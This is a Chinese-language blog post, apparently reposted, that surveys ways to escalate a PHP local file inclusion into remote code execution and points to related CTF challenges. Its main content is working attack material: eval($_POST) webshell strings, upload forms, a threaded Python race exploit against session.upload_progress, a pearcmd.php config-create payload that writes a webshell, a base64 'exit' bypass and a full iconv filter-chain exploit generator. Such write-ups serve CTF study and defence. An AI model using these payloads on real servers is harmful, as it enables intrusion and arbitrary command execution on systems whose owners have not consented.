以下场景很常见,很多人都把他当成一个LFI,那么是否可以RCE呢,让我们来探讨一下。
<?php
include $_REQUEST['file'];
?>
在p牛和陆队的博客都有发过类似的,笔者很菜,旨在梳理一下,大佬轻喷。
参考链接
1.https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
2.https://tttang.com/archive/1395/
3.https://tttang.com/archive/1384/
1.日志文件包含
在常规黑盒的情况下,我们通常想到的RCE方式是包含一些WEB日志文件或者系统日志文件,通过http请求去写入一些php一句话,然后包含这个文件造成getshell。
例如IIS和apache,apache一般的日志文件只有root组才能访问,我们包含不了,那么如果是IIS就可以直接写入一句话<?php eval($_POST['cmd']);?>
,然后通过包含/varl/og/apache2/access.log,就可以实现getshell。不同环境可能不同利用方式,例如thinkphp也有日志文件,是否也可以利用呢!
burp改包发送请求
可以看到在/var/log/apache2/access.log已经写入成功了
那么直接包含就可以了。
但是我们包含失败了,因为这个文件只有root才能读,www用户是读不了的,大家可以根据环境变换,可能日志文件也不是这个路径。
2.phpinfo和文件包含条件竞争
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉.
在从“PHP writes data to temp file”到“php removes temp files(if any)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。
例如我们上传一个这样的文件,不管他后台有没有这个逻辑,php都会保存在一个临时文件,过了某个时间段就清理,那么我们就只能条件竞争了。
我们可以构造一个表单来上传,也可以直接在burp构造改包
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.120/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="test" value="123<?php eval($_POST['cmd']);?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
那么我们不知道临时文件在哪,还有文件名是啥也不知道,就是形如/tmp/phpxxx,后面的xxx为随机字母和数字组合的6位数。
那么在phpinfo页面有个地方可以看到
那么就可以写脚本来条件竞争了,这里直接贴p牛的exp
windows通配符的妙用
前面的方法存在2个条件
1.存在phpinfo等可以泄露临时文件名的页面
2.网络条件好,才能让Race Condition成功
如果目标系统是windows
PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的。
但是在php的逻辑里是不能用* ? 表示通配符。
实际上MSDN官方文档说明
- DOS_STAR:即 <,匹配0个以上的字符
- DOS_QM:即>,匹配1个字符
- DOS_DOT:即",匹配点号
那么我们的文件就变成了/tmp/php<<
,构造这样一个包就可以进行rce了
我这里给个表单
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.120/lfi.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="file" value="c:\Windows\Temp\php<<" />
<input type="file" name="upload" />
<input type="submit" value="submit" />
</form>
</body>
</html>
只需要上传一个包含php代码的任意后缀名文件就行,这种上传文件的同时利用临时文件的操作可能很难理解。这里我解释一下,lfi.php文件内容是:
<?php
include $_REQUEST['file'];
?>
这里的 <input type="hidden" name="file" value="c:\Windows\Temp\php<<" />
是执行一个文件包含的请求,然后上传的文件就是echo md5(1)
,最后这个文件会被php传到一个临时目录,路径是c:\Windows\Temp\php<<
,这里的<<
为windows的通配符,只有当执行include才会解释这个php过程,最后删除临时文件,这样就可以竞争成功了。
3.session.upload_progress与Session文件包含
session方法也已经广为流传,PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件。
1.目标环境开启了session.upload_progress.enable选项
2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
3.请求的Cookie中包含Session ID
恰好这些都是默认开启的。这里贴个exp
import io
import requests
import threading
url = 'http://192.168.31.120:80/file.php'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("id");?>dotasts'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/var/lib/php/sessions/sess_flag') #其实这个php临时文件的目录在不同环境是不一样的
if 'dotasts' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
其实这个php临时文件的目录在不同环境是不一样的,我们可以根据不同的环境改一下exp
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
4.Segfault遗留下TEMP文件
其实这里的lfi到rce,就在于能不能在对方服务器写入一个php代码,我们直接包含这个造成getshell,其中涉及到临时文件,日志文件,临时文件路径和名字。
前面的探讨都是在临时文件删除之前进行条件竞争,那么我们能不能让他不执行这个删除,让他异常退出,就不会删除临时文件了,这样我们直接爆破就行了。
PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。
国内的安全研究者@王一航 曾发现过一个会导致PHP crash的方法:
include 'php://filter/string.strip_tags/resource=/etc/passwd';
正好用在文件包含的逻辑中。
这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。向文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白
5.pearcmd.php的巧妙利用
register_argc_argv
如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On
这个register_argc_argv能干什么呢?
cli模式下,简言之,可以通过$_SERVER[‘argv’]`获得命令行参数,其中test.php
<?php
var_dump($_SERVER['argv']);
?>
web模式下
分隔符是+ 不是&
简单的利用
<?php
var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>
pearcmd.php的神奇使用
pear文件
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/share/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/share/php"
INCARG="-d include_path=/usr/share/php"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
这里解释一下代码意思,就是直接通过包含这个pearcmd.php文件,然后联合register_argc_argv获取命令行参数,直接通过pear的命令config-create写入了一句话木马。
需要注意的是:当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php
这里直接给出payload吧
/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/hello.php
6.利用php iconv filter 配合base64进行rce
路队文章写的很清楚了,hxp CTF 2021 - The End Of LFI?
在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE。
大家是否记得利用filter绕过死亡exit,就是由于<?php exit;?>
加在了我们写入的文件前面,导致写入一句话也不能执行。
但是php base64 encode会自动把这些非法字符去掉。
合法字符只有A-Za-z0-9\/\=\+
,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的。
那么之前的就变成了phpexit,
这里只有7个字符,我们加一个a,就可以完全解码了,题目如下:
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
直接贴payload吧
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
//内容变为phpexitaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 解码就是¦^Æ+Z<?php eval($_POST[a]);
因为我们可以控制file_put_contents写入的协议,那么我们用filter base64的宽松解码进行绕过了。
直接给路队的exp吧
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=/etc/passwd"; //服务器任意存在文件就行
echo file_get_contents("http://www.xxx.com/file.php?file=".urlencode($final_payload)."&0=id");
// hexdump
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|
7.总结
利用include $_REQUEST['file']
的lfi本地文件包含,就是包含一个含有php代码的文件,不限制后缀名,也可以临时文件进行条件竞争,当然php是神奇的语言,有伪协议还有fastcgi,还有auto_prepend_file的参数,内存错误异常退出,甚至可以去看php底层代码,这些特性还有很多,值得我们探索。
接下来我们可以从几道ctf题来看一下lfi到rce。文章来源:https://www.toymoban.com/news/detail-716118.html
1.36c3 web includer
2.hxp CTF 2021 - A New Novel LFI
3.hxp CTF 2021 - The End Of LFI?
4.HFCTF2022 Web ezphp文章来源地址https://www.toymoban.com/news/detail-716118.html
到了这里,关于PHP-从LFI到RCE(上)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!